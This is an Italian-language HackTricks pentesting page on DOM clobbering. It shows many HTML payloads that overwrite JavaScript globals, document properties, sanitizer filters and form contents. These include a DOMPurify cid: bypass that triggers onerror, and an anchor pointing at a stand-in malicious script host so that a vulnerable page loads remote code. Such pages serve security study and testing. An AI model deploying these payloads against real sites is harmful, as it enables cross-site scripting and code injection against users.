hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md

225 lines
13 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Dom Clobbering
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Basics**
È possibile generare **variabili globali all'interno del contesto JS** con gli attributi **`id`** e **`name`** nei tag HTML.
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
**Solo** alcuni elementi possono utilizzare l'**attributo name** per **clobber** i globali, essi sono: `embed`, `form`, `iframe`, `image`, `img` e `object`.
È interessante notare che, quando si utilizza un **elemento form** per **clobber** una variabile, si otterrà il valore **`toString`** dell'elemento stesso: `[object HTMLFormElement]`, ma con **anchor** il **`toString`** sarà l'**href** dell'anchor. Pertanto, se si **clobber** utilizzando il tag **`a`**, si può **controllare** il **valore** quando è **trattato come una stringa**:
```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```
### Arrays & Attributes
È anche possibile **sovrascrivere un array** e **attributi di oggetti**:
```html
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
Per sovrascrivere **un 3° attributo** (ad es. x.y.z), è necessario utilizzare un **`form`**:
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
```
Clobbering più attributi è **più complicato ma ancora possibile**, usando iframe:
```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
Il tag style è usato per **dare abbastanza tempo all'iframe per renderizzare**. Senza di esso troverai un avviso di **undefined**.
{% endhint %}
Per sovrascrivere attributi più profondi, puoi usare **iframes con codifica html** in questo modo:
```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
```
### **Evasione dei Filtri**
Se un filtro sta **iterando** attraverso le **proprietà** di un nodo utilizzando qualcosa come `document.getElementByID('x').attributes`, potresti **sovrascrivere** l'attributo **`.attributes`** e **rompere il filtro**. Altre proprietà del DOM come **`tagName`**, **`nodeName`** o **`parentNode`** e altre sono anch'esse **sovrascrivibili**.
```html
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```
## **Clobbering `window.someObject`**
In JavaScript è comune trovare:
```javascript
var someObject = window.someObject || {};
```
Manipolare l'HTML sulla pagina consente di sovrascrivere `someObject` con un nodo DOM, potenzialmente introducendo vulnerabilità di sicurezza. Ad esempio, puoi sostituire `someObject` con un elemento di ancoraggio che punta a uno script malevolo:
```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```
In un codice vulnerabile come:
```html
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
```
Questo metodo sfrutta la sorgente dello script per eseguire codice indesiderato.
**Trucco**: **`DOMPurify`** consente di utilizzare il protocollo **`cid:`**, che **non codifica in URL le virgolette doppie**. Ciò significa che puoi **iniettare una virgoletta doppia codificata che verrà decodificata durante l'esecuzione**. Pertanto, iniettare qualcosa come **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** farà sì che l'HTML codificato `&quot;` venga **decodificato durante l'esecuzione** e **escapato** dal valore dell'attributo per **creare** l'evento **`onerror`**.
Un'altra tecnica utilizza un elemento **`form`**. Alcune librerie client-side ispezionano gli attributi di un nuovo elemento form creato per pulirli. Tuttavia, aggiungendo un `input` con `id=attributes` all'interno del modulo, sovrascrivi effettivamente la proprietà degli attributi, impedendo al sanitizzatore di accedere agli attributi reali.
Puoi [**trovare un esempio di questo tipo di clobbering in questo CTF writeup**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
## Clobbering dell'oggetto documento
Secondo la documentazione, è possibile sovrascrivere gli attributi dell'oggetto documento utilizzando il DOM Clobbering:
> L'interfaccia [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [supporta proprietà nominate](https://webidl.spec.whatwg.org/#dfn-support-named-properties). I [nomi delle proprietà supportate](https://webidl.spec.whatwg.org/#dfn-supported-property-names) di un oggetto [Document](https://html.spec.whatwg.org/multipage/dom.html#document) in qualsiasi momento consistono nei seguenti, in [ordine ad albero](https://dom.spec.whatwg.org/#concept-tree-order) secondo l'elemento che le ha contribuite, ignorando i duplicati successivi, e con i valori degli attributi [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) che vengono prima dei valori degli attributi name quando lo stesso elemento contribuisce a entrambi:
>
> \- Il valore dell'attributo di contenuto name per tutti gli elementi [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) e [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) che hanno un attributo di contenuto name non vuoto e sono [in un albero di documenti](https://dom.spec.whatwg.org/#in-a-document-tree) con il documento come loro [radice](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- Il valore dell'attributo di contenuto [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) per tutti gli elementi [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) che hanno un attributo di contenuto [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vuoto e sono [in un albero di documenti](https://dom.spec.whatwg.org/#in-a-document-tree) con il documento come loro [radice](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- Il valore dell'attributo di contenuto [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) per tutti gli elementi [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) che hanno sia un attributo di contenuto [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vuoto che un attributo di contenuto name non vuoto, e sono [in un albero di documenti](https://dom.spec.whatwg.org/#in-a-document-tree) con il documento come loro [radice](https://dom.spec.whatwg.org/#concept-tree-root).
Utilizzando questa tecnica, puoi sovrascrivere **valori comunemente usati come `document.cookie`, `document.body`, `document.children`**, e persino metodi nell'interfaccia Document come `document.querySelector`.
```javascript
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
## Scrivere dopo l'elemento clobbered
I risultati delle chiamate a **`document.getElementById()`** e **`document.querySelector()`** possono essere alterati iniettando un tag `<html>` o `<body>` con un attributo id identico. Ecco come può essere fatto:
```html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>
```
Inoltre, utilizzando stili per nascondere questi tag HTML/body iniettati, si può prevenire l'interferenza di altro testo in `innerText`, migliorando così l'efficacia dell'attacco:
```html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
Le indagini su SVG hanno rivelato che un tag `<body>` può essere utilizzato efficacemente:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
Per il tag HTML per funzionare all'interno di SVG in browser come Chrome e Firefox, è necessario un tag `<foreignobject>`:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
## Clobbering Forms
È possibile aggiungere **nuove voci all'interno di un modulo** semplicemente **specificando l'attributo `form`** all'interno di alcuni tag. Puoi usare questo per **aggiungere nuovi valori all'interno di un modulo** e persino aggiungere un **pulsante** per **inviarlo** (clickjacking o abusando di qualche codice JS `.click()`):
{% code overflow="wrap" %}
```html
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```
{% endcode %}
* Per ulteriori attributi del modulo in [**pulsante controlla questo**](https://www.w3schools.com/tags/tag\_button.asp)**.**
## Riferimenti
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
* Heyes, Gareth. JavaScript per hacker: Impara a pensare come un hacker.
{% hint style="success" %}
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Supporta HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>
{% endhint %}